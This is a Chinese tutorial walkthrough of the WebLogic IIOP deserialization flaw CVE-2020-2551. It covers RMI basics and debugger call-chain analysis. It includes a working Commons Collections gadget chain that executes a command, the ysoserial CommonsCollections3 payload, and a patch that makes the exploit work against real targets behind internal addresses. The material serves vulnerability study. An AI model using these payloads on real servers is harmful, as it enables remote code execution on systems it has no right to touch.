從0學習WebLogic CVE-2020-2551漏洞


先知社區:https://xz.aliyun.com/t/7725

最近遇到的實際環境為weblogic,所以這里順便總結下測2020-2551的一些相關的點

2551也是學習了很多優秀的師傅文章,非常感謝

 

 

0X00 漏洞利用基礎學習

從0開始學習復現這個洞不免又會設計到Java反序列化漏洞中那些老生常談的名詞理解,涉及到Java反序列化中的一些協議、行為、結構,但個人文中偏向於結果導向,對於涉及的上述名詞解釋不會過多官方解釋,

直接說上自己認為最簡單的理解,如有偏差望師傅們諒解。

 

 

COBAR

 

(Common ObjectRequest Broker Architecture)公共對象請求代理體系結構,名字很長,定義的一個結構(規定語言在使用這個結構時候分哪幾個部分,因為我們后面的序列化過程都是按照這個結構來的)

這個結構當然是抽象的,后面在具體代碼實現上才會呈現這個結構部分,所以這里理解三個部分互相大致的關系就好。

 

 

CORBA結構分為三部分:

 

  • naming service
  • client side
  • servant side

三個部分之間的關系就好比人看書,naming service擔任着書中目錄的角色,人(client side)從目錄(naming service)中找具體內容(servant side)。

 

 

stub(存根)和skeleton(骨架)

簡單三個部分說了,但是實際這個結構中稍微復雜一些,client和servant之間的交流還必須引入一個stub(存根)和skeleton(骨架)

簡單理解就是client和servant之間多了兩個人替他們傳話,stub給client傳話,skeleton給servant傳話,說白了也就是充當client和servant的"網關路由"的一個功能。

具體存根和骨架干了啥,師傅可以去看下RMI通信過程原理。

 

 

 

 

 

GIOP && IIOP

全稱通用對象請求協議,試想一個下客戶端和服務端之間交流肯定要遵循某種協議的,這里GIOP就是CORBA中通信過程遵循的協議而在TCP/IP這層用到的協議,就是我們2551中的IIOP協議

 

 

JNDI

JNDI (Java Naming and Directory Interface) 全稱是java名詞目錄接口,其實可以發現這里JNDI就是前面CORBA體系中那個naming service的角色,在Java中它有着

Naming Service和Directory Service 的功能,說白了就是給servant那邊在目錄中注冊綁定,給client那邊在目錄中查詢內容。

 

LDAP

LDAP(Lightweight Directory Access Protocol ,輕型目錄訪問協議)是一種目錄服務協議,這個在后面測試中也常會看到LDAP服務和RMI服務起的接收端,

LDAP主要充當目錄服務的協議,用來保存一些屬性信息的,但要和RMI區別開來,LDAP是用於對一個存在的目錄數據庫進行訪問,而RMI提供訪問遠程對象和調用

 

RMI

Remote Method Invocation,全程遠程調用,如果了解RPC服務的功能朋友一定不難理解,就是Java中的一個RPC服務實現,底層的協議是JRMP協議,

功能也好理解,讓你可以遠程調用對象就像在本地調用一樣,你可以參照點外賣,把外賣(對象)叫到你家里(本地客戶)使用。

 

 

JRMP 

Java遠程方法協議(英語:Java Remote Method Protocol,JRMP) Java遠程方法協議  JRMP是一個協議,是用於Java RMI過程中的協議,只有使用這個協議,方法調用雙方才能正常的進行數據交流。

 

 

 

 

RMI反序列化原理:

  • RMI即Java RMI(Java Remote Method Invocation),Java遠程方法調用,說白了就是實現讓你可以遠程調用服務器上對象的一種接口。(例如不同JVM虛擬機之間的Java對象相互調用)。
  • 客戶端和服務端在調用對象時候互相都有個代理,客戶端的代理叫Stub(存根),服務端的代理叫Skeleton(骨架),代理都是從服務端產生的。
  • 在RMI中客戶端和服務端通過代理傳入遠程對象時候客戶端負責編碼,服務器負責解碼,而這個過程中我們的對象是 使用序列化進行編碼的。

 

 

 

在RMI模式(或行為)中,說簡單點我們只需要關注三個部分

  • 客戶端(使用遠程對象)
  • 服務端(提供遠程對象給客戶端使用
  • Registry(用來提供注冊對象的地方)

 

 

下面的RMI簡單Demo中也可以比較簡易體現出三者之間的關系和功能的分工。

 

 

 

RMI簡單Demo(以客戶端調用服務端遠程對象為例子):

在RMI模式中,我們除了需要客戶端和服務端兩個類,還需要在服務端中創建注冊表(Registry)並綁定實現遠程接口的對象,所以我們一共要寫四個部分代碼,

  • 客戶端的類
  • 服務端的類
  • 繼承Remote的接口
  • 以及對實現遠程接口的具體類

 

(雖然下面是將這些內容分為四個代碼部分,但是實際上服務站點是擁有服務端類、繼承Remote接口以及實現遠程接口具體類這三個部分的,我們只有一個客戶端類。)

 

 

 

定義遠程接口

這里使用到了java.rmi,其中定義了客戶端所需要的類、接口、異常,實現rmi的遠程對象必須繼承Remote接口,並且接口中的方法必須拋出RemoteException:

import java.rmi.Remote;
import java.rmi.RemoteException;

public interface InterfaceQing extends Remote{
    // 所有方法必須拋出RemoteException
    public String RmiDemo() throws RemoteException;
}

 

 

 

 

接口實現類

以及對於上面InterfaceQing這個遠程接口的實現類:

 

這里單獨說一下 

繼承UnicastRemoteObject類的對象叫做遠程對象,lookup出來的對象只是該遠程對象的存根(Stub)對象,客戶端每一次的方法調用都是調用的的那一個遠程對象的方法

沒有繼承UnicastRemoteObject類的對象,同樣可以bind到Registry,lookup出來了對象也是遠程對象,但在經過序列化、客戶端反序列化出來的新的對象后調用這個對象的方法調用與遠程對象再無關系

import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
import Remote.InterfaceQing;

public class RemoteQing extends UnicastRemoteObject implements InterfaceQing {
    protected RemoteQing() throws RemoteException{
        super();
    }
    @Override
    public String RmiDemo() throws RemoteException {
        System.out.println("RmiDemo..");
        return "Here is RmiDemo";
    }
 }

 

 

 

 

 

服務端類

這里需要注冊遠程對象,用到java.rmi.registry中的供注冊創建的類,注冊遠程對象,向客戶端提供遠程對象服務。客戶端就可以通過RMI Registry請求到該遠程服務對象的stub,

在服務端類中我們實例化了實現遠程接口的類並創建了Registry注冊類,使用Registry類的bind函數將遠程接口的實現對象綁定到注冊表,取名為remoteQing,這里服務會監聽默認1099端口。

 

import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry; import Remote.InterfaceQing; public class ServerDemo { public static void main(String[] args) { try { InterfaceQing remoteQing = new RemoteQing(); LocateRegistry.createRegistry(1099); Registry registry = LocateRegistry.getRegistry(); registry.bind("Test", remoteQing); System.out.println("Server is ok"); //UnicastRemoteObject.unexportObject(remoteMath, false); 設置對象不可被調用
//當然也可以通過java.rmi.Naming以鍵值對的形式來將服務命名進行綁定
} catch (Exception e) { e.printStackTrace(); } } }

 

 

 

 

客戶端

通過Registry類的代理去查詢遠程注冊的對象,獲得綁定的對象並調用該對象的方法,例子中為注冊表中綁定名為Test的對象(RemoteQing):

 

import Remote.InterfaceQing;

import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class ClientDemo {

    public static void main(String[] args) {

        try {
            Registry registry = LocateRegistry.getRegistry("localhost");
            // 從Registry中檢索遠程對象的存根/代理
            InterfaceQing remoteQing = (InterfaceQing)registry.lookup("Test");
            String  returnStr = remoteQing.RmiDemo();
            System.out.println(returnStr);
        }catch(Exception e) {
            e.printStackTrace();
        }
    }
}

 

 

 

 

 

注:java1.4之前需要rmic命令生成我們遠程對象實現類的Stub,也就是上面的RemoteQing

 

RMI中調用過程:

這里簡單走一下過程,貼下比較需要關注的地方。

 

首先是服務端:

 

服務端中createRegistry(1099);的時候,返回的registry對象類是sun.rmi.registry.RegistryImpl

 

 

 

 

RegistryImpl中會設置接口實現類的ref變量,類型為sun.rmi.server.UnicastServerRef,其中含有LiveRef類型的對象變量ref與TCPEndpoint的ep變量

 

 

 

 

 

 接下來服務端getRegistry返回的是sun.rmi.registry.RegistryImpl_Stub,也就是前面大致流程中的stub

 

 

 

 

服務端bind的時候,會進入序列化操作

 

 

 

public void bind(String var1, Remote var2) throws AccessException, AlreadyBoundException, RemoteException {
        try {
            RemoteCall var3 = this.ref.newCall(this, operations, 0, 4905912898345647071L);

            try {
                ObjectOutput var4 = var3.getOutputStream();
                var4.writeObject(var1);
                var4.writeObject(var2);
            } catch (IOException var5) {
                throw new MarshalException("error marshalling arguments", var5);
            }

            this.ref.invoke(var3);
            this.ref.done(var3);
        } catch (RuntimeException var6) {
            throw var6;
        } catch (RemoteException var7) {
            throw var7;
        } catch (AlreadyBoundException var8) {
            throw var8;
        } catch (Exception var9) {
            throw new UnexpectedException("undeclared checked exception", var9);
        }
    }

 

 

 

 

 

 

客戶端這邊

可以看到getRegistry的時候和服務端一樣動態生成sun.rmi.registry.RegistryImpl_Stub

 

 

 lookup的時候就會從RMI Registry獲取到服務端存進去的stub。

在sun.rmi.registry.RegistryImpl_Stub類中實現用將Remote對象序列化傳遞給RemoteRef引用並且創建了RemoteCall(遠程調用)對象

RemoteCall對象則是用來序列化我們傳遞的服務名和Remote對象並最后通過socket通信:

 

 

 

 

 

 

 

 

 

 

 

RMI反序列化漏洞攻擊原理

RMI攻擊本質是簡單點說是客戶端和服務端會互相將傳遞的數據進行正反序列化,在這個過程中參數的序列化被替換成惡意序列化數據就即可以攻擊服務端也可以攻擊客戶端。我們下斷點來查看:

 

 

要進jdk源碼調試前設置一下:

 

 

 

 

 

 

首先是bind的時候會在sun.rmi\registry.RegistryImpl_Stub#bind對數據進行序列化:

 

 

 

 

 

處理數據的時候會在sun.rmi.registry.RegistryImpl_Skel#dispatch進行反序列化讀取

 

 

 

 調用棧:

dispatch:-1, RegistryImpl_Skel (sun.rmi.registry)
oldDispatch:411, UnicastServerRef (sun.rmi.server)
dispatch:272, UnicastServerRef (sun.rmi.server)
run:200, Transport$1 (sun.rmi.transport)
run:197, Transport$1 (sun.rmi.transport)
doPrivileged:-1, AccessController (java.security)
serviceCall:196, Transport (sun.rmi.transport)
handleMessages:568, TCPTransport (sun.rmi.transport.tcp)
run0:826, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
lambda$run$0:683, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
run:-1, 1831737466 (sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$1)
doPrivileged:-1, AccessController (java.security)
run:682, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
runWorker:1142, ThreadPoolExecutor (java.util.concurrent)
run:617, ThreadPoolExecutor$Worker (java.util.concurrent)
run:745, Thread (java.lang)

 

 

 

那我們再來看客戶端進行調用對象的時候:

在sun.rmi.registry.RegistryImpl_Stub#lookup

 

 

 其中在var3.writeObject(var1)對var1對象進行了序列化操作,在var23 = (Remote)var6.readObject()對服務端返回的數據的對象進行反序列化

 

public Remote lookup(String var1) throws AccessException, NotBoundException, RemoteException {
        try {
            RemoteCall var2 = super.ref.newCall(this, operations, 2, 4905912898345647071L);

            try {
                ObjectOutput var3 = var2.getOutputStream();
                var3.writeObject(var1);
            } catch (IOException var18) {
                throw new MarshalException("error marshalling arguments", var18);
            }

            super.ref.invoke(var2);


            Remote var23;
            try {
                ObjectInput var6 = var2.getInputStream();
                var23 = (Remote)var6.readObject();
            } catch (IOException var15) {

....

 

 

攻擊就需要利用客戶端服務端都存在某一缺陷庫來構造gadgets

本身缺陷原因各位可以去看下CVE-2017-3241 

https://packetstormsecurity.com/files/download/141104/cve-2017-3241.pdf

 

RMI反序列化漏洞攻擊Demo

(apache Common Collection 3)

https://mvnrepository.com/artifact/commons-collections/commons-collections/3.1

來看下大致利用原理:

這里利用到的函數是org.apache.commons.collections.functors.InvokerTransformer#transform

通過反射執行參數對象中的某個方法

 

    public Object transform(Object input) {
        if (input == null) {
            return null;
        } else {
            try {
                Class cls = input.getClass();
                Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
                return method.invoke(input, this.iArgs);
            } catch (NoSuchMethodException var4) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
            } catch (IllegalAccessException var5) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
            } catch (InvocationTargetException var6) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var6);
            }
        }
    }

 

 

 

 

 

 

 

 

其中transform用到的屬性來自構造函數,分別對應方法名、參數類型、參數值。

private InvokerTransformer(String methodName) {
        this.iMethodName = methodName;
        this.iParamTypes = null;
        this.iArgs = null;
    }

 

而InvokerTransformer中返回實例化的函數如下:

public static Transformer getInstance(String methodName) {
        if (methodName == null) {
            throw new IllegalArgumentException("The method to invoke must not be null");
        } else {
            return new InvokerTransformer(methodName);
        }
    }

    public static Transformer getInstance(String methodName, Class[] paramTypes, Object[] args) {
        if (methodName == null) {
            throw new IllegalArgumentException("The method to invoke must not be null");
        } else if (paramTypes == null && args != null || paramTypes != null && args == null || paramTypes != null && args != null && paramTypes.length != args.length) {
            throw new IllegalArgumentException("The parameter types must match the arguments");
        } else if (paramTypes != null && paramTypes.length != 0) {
            paramTypes = (Class[])((Class[])paramTypes.clone());
            args = (Object[])((Object[])args.clone());
            return new InvokerTransformer(methodName, paramTypes, args);
        } else {
            return new InvokerTransformer(methodName);
        }
    }

 

 

而InvokerTransformer的transform方法被誰誰調用呢,在同包下的org.apache.commons.collections.functors.ChainedTransformer可以對

Transformer數組進行組合。

 

 

 

 

只需要  Transformer chain = new ChainedTransformer(transformers) ; 即可組合,

 在org.apache.commons.collections.map.TransformedMap中checkSetValue函數調用了transform方法

protected Object checkSetValue(Object value) {
        return this.valueTransformer.transform(value);
    }

 

而在org.apache.commons.collections.map.AbstractInputCheckedMapDecorator的setValue會調用父類的checkSetValue

        public Object setValue(Object value) {
            value = this.parent.checkSetValue(value);
            return this.entry.setValue(value);
        }
    }

 

並且TansformedMap里用裝飾者模式通過transformer來擴展功能

 

 

 

 

 

 

TransformedMap實現了Serializable接口可以被序列化操作 ,其中結構里也包含了map

public class TransformedMap extends AbstractInputCheckedMapDecorator implements Serializable {
...

protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) { super(map); this.keyTransformer = keyTransformer; this.valueTransformer = valueTransformer; }
...
private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
in.defaultReadObject();
this.map = (Map)in.readObject();
}

 

 

所以到這里可以理一下利用鏈接

TransformedMap添加一個裝飾ChainedTransformer,ChainedTransformer將多個InvokerTransformer組合,InvokerTransformer來反射執行其他函數(RCE)

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.Map;
import java.util.HashMap;
public class TransformVul {
    public static void main(String[] args) {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class},
                        new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class},
                        new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class},
                        new Object[]{"calc"})
        };
        Transformer chain = new ChainedTransformer(transformers) ;
        Map innerMap = new HashMap() ;
        innerMap.put("name", "hello") ;
        Map outerMap = TransformedMap.decorate(innerMap, null, chain) ;
        Map.Entry elEntry = (java.util.Map.Entry)outerMap.entrySet().iterator().next() ;
        elEntry.setValue("hello") ;
    }
}

 

 

 

 

 

 

 

 

ysoserial中也是一樣的利用方式:

public class CommonsCollections3 extends PayloadRunner implements ObjectPayload<Object> {

    public Object getObject(final String command) throws Exception {
        Object templatesImpl = Gadgets.createTemplatesImpl(command);

        // inert chain for setup
        final Transformer transformerChain = new ChainedTransformer(
            new Transformer[]{ new ConstantTransformer(1) });
        // real chain for after setup
        final Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(
                        new Class[] { Templates.class },
                        new Object[] { templatesImpl } )};

        final Map innerMap = new HashMap();

        final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

        final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);

        final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);

        Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain

        return handler;
    }

    public static void main(final String[] args) throws Exception {
        PayloadRunner.run(CommonsCollections3.class, args);
    }

    public static boolean isApplicableJavaVersion() {
        return JavaVersion.isAnnInvHUniversalMethodImpl();
    }
}

 

 這里注意jdk版本為1.7

 

 

 

 

 

 

 

 

 

 

0x01 CVE-2020-2551

漏洞斷點調試環境配置

遠程調試端口設置:

qing@ubuntu:~/vulhub/weblogic/CVE-2017-10271$ cat docker-compose.yml
version: '2'
services:
 weblogic:
   image: vulhub/weblogic
   ports:
    - "7001:7001"
    - "8453:8453"

 

修改配置文件加入遠程調試:

 

 

 

在idea中添加目錄中所需要的jar包:

for /R %%d in (*.jar) do (echo moving %%d
move /y %%d ./test
)

 

 

 

 

idea遠程配置:

 

 

 

 

審計調試

有的師傅已經寫了2551的文章,正向從傳反序列化對象開始分析,我這里直接從漏洞觸發點的函數倒推回去。

先貼

 

weblogic.corba.utils. ValueHandlerImpl的中調用了readObject進行反序列化
此處是在readValueData函數中,var2為ObjectStreamClass的形參
private static void readValueData(IIOPInputStream var0, Object var1, ObjectStreamClass var2) throws IOException, ClassNotFoundException {
        if (var2.getSuperclass() != null) {
     ....
 ObjectInputStream var6 = var0.getObjectInputStream(var1, var2, var3, var4);
            var2.readObject(var1, var6);
            var6.close();
            if (var5) {
                var0.end_value();
            }
 
        



而readValueData函數在同文件的readValue函數中被調用,var2為傳入readValueData函數的Object形參
 
        

 

 

 

 
        

 

 
        

 

 
        

 


在weblogic.iiop.IIOPInputStream.class的
read_value函數也就是1728行調用了readValue函數,上面的readValue函數的var2為這里read_value函數
的var13
public Serializable read_value(Class var1) {
      Class var2 = var1;
      boolean var3 = false;

...
...
 try {
                            ObjectStreamClass var14 = ObjectStreamClass.lookup(var2);
                            var13 = (Serializable)ValueHandlerImpl.allocateValue(this, var14);
                            this.indirections.putReserved(var5, var18, var13);
                            Serializable var15 = (Serializable)ValueHandlerImpl.readValue(this, var14, var13);
                            if (var15 != var13) {
                                var13 = var15;
                                this.indirections.putReserved(var5, var18, var15);
                            }
                        } catch (ClassNotFoundException var16) {
.....
 
        

 

 

 

 

 

 

而weblogic.iiop.IIOPInputStream中的read_value在rmi-iiop流程中對接收的序列化對象進行反序列化的時候被調用,發現讀取

輸入流的方法被封裝在iiopoutputstream中的read_any函數中

    public final Any read_any() {
        return this.read_any(this.read_TypeCode());
    }

    public final Any read_any(TypeCode var1) {
        Debug.assertion(var1 != null);
        AnyImpl var2 = new AnyImpl();
        var2.type(var1);
        var2.read_value(this, var2.type());
        return var2;
    }

 

 

 

 

 

這里在1416行調用的read_value函數,傳入的反序列化內容為var2.type函數的返回值,var2為實例化AnyImpl實例調用其read_value讀取序列化數據。1416行是處於有參的read_any,而有參的

read_any在1408的無參read_any中調用,這段我們只需要跟蹤注意var2.type的返回值在調用鏈的最初我們是否可控以及this.read_TypeCode()非空。

發現read_any無參函數的調用是在_invoke函數中,而_invkoe函數被調用於weblogic.corba.idl.CorbaServerRef.class中的invoke函數

 

 

 

 

public void invoke(RuntimeMethodDescriptor var1, InboundRequest var2, OutboundResponse var3) throws Exception {
        try {
            weblogic.iiop.InboundRequest var4 = (weblogic.iiop.InboundRequest)var2;
            if (!var4.isCollocated() && var4.getEndPoint().isDead()) {
                throw new ConnectException("Connection is already shutdown for " + var2);
            } else {
                Integer var5 = (Integer)objectMethods.get(var4.getMethod());
                ResponseHandler var6;
                if (var3 == null) {
                    var6 = NULL_RESPONSE;
                } else {
                    var6 = ((weblogic.iiop.OutboundResponse)var3).createResponseHandler(var4);
                }

                if (var5 != null) {
                    this.invokeObjectMethod(var5, var4.getInputStream(), var6);
                } else {
                    this.delegate._invoke(var4.getMethod(), var4.getInputStream(), var6);
                }

                if (var3 != null) {
                    var3.transferThreadLocalContext(var2);
                }

            }
        } catch (ClassCastException var7) {
            throw new NoSuchObjectException("CORBA ties are only supported with IIOP");
        }
    }

 

 

 

 weblogic.corba.idl.CorbaServerRef.class中的invoke函數在weblogic.rmi.internal.BasicServerRef.的runAs被調用  

 

 

 

 

最后可以跟到weblogic解析請求的入口

調用鏈:

lookup:417, InitialContext (javax.naming)
doInContext:132, JndiTemplate$1 (com.bea.core.repackaged.springframework.jndi)
execute:88, JndiTemplate (com.bea.core.repackaged.springframework.jndi)
lookup:130, JndiTemplate (com.bea.core.repackaged.springframework.jndi)
lookup:155, JndiTemplate (com.bea.core.repackaged.springframework.jndi)
lookupUserTransaction:565, JtaTransactionManager (com.bea.core.repackaged.springframework.transaction.jta)
initUserTransactionAndTransactionManager:444, JtaTransactionManager (com.bea.core.repackaged.springframework.transaction.jta)
readObject:1198, JtaTransactionManager (com.bea.core.repackaged.springframework.transaction.jta)
invoke:-1, GeneratedMethodAccessor30 (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
readObject:315, ObjectStreamClass (weblogic.utils.io)
readValueData:281, ValueHandlerImpl (weblogic.corba.utils)
readValue:93, ValueHandlerImpl (weblogic.corba.utils)
read_value:2128, IIOPInputStream (weblogic.iiop)
read_value:1936, IIOPInputStream (weblogic.iiop)
read_value_internal:220, AnyImpl (weblogic.corba.idl)
read_value:115, AnyImpl (weblogic.corba.idl)
read_any:1648, IIOPInputStream (weblogic.iiop)
read_any:1641, IIOPInputStream (weblogic.iiop)
_invoke:58, _NamingContextAnyImplBase (weblogic.corba.cos.naming)
invoke:249, CorbaServerRef (weblogic.corba.idl)
invoke:230, ClusterableServerRef (weblogic.rmi.cluster)
run:522, BasicServerRef$1 (weblogic.rmi.internal)
doAs:363, AuthenticatedSubject (weblogic.security.acl.internal)
runAs:146, SecurityManager (weblogic.security.service)
handleRequest:518, BasicServerRef (weblogic.rmi.internal)
run:118, WLSExecuteRequest (weblogic.rmi.internal.wls)
execute:263, ExecuteThread (weblogic.work)
run:221, ExecuteThread (weblogic.work)

 

附上y4師傅的poc:https://github.com/Y4er/CVE-2020-2551

 

 

 

編譯好的exp字節碼文件放marshalsec的RMI服務下,執行成功。

 

 

 

 

 

測試實際站點的時候發現是失敗,還需要解決的一個問題是CVE-2020-2551的"網絡"問題 

CVE-2020-2551的網絡問題 

實際情況大多數weblogic是內網反帶出來的,所以在返回NameService指定bind地址的時都是內網地址,導致訪問失敗。

解決方法為自定義GIOP協議和重寫IIOP協議

個人在實際測試的時候選擇后者

重寫IIOP協議解決:

定位返回地址位置hackworld老哥寫的已經非常清楚了:

https://xz.aliyun.com/t/7498

 

最后需要改的位置

CVE-2020-2551\src\lib\wlfullclient.jar!\weblogic\iiop\IOPProfile.class

 

這里對於class文件在改的時候將idea對於class文件讀出來的代碼復制一份,改好保存成java文件后重新編譯,復制到包里覆蓋即可。

 

編譯:

 

 

 

 

 

 

 

 

實際站點測試:

 

 

 

資料:

https://github.com/Y4er/CVE-2020-2551   

https://xz.aliyun.com/t/7498 手把手教你解決Weblogic CVE-2020-2551 POC網絡問題

https://xz.aliyun.com/t/7374  漫談 WebLogic CVE-2020-2551

https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections3.java

 https://packetstormsecurity.com/files/download/141104/cve-2017-3241.pdf  CVE-2017-3241 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM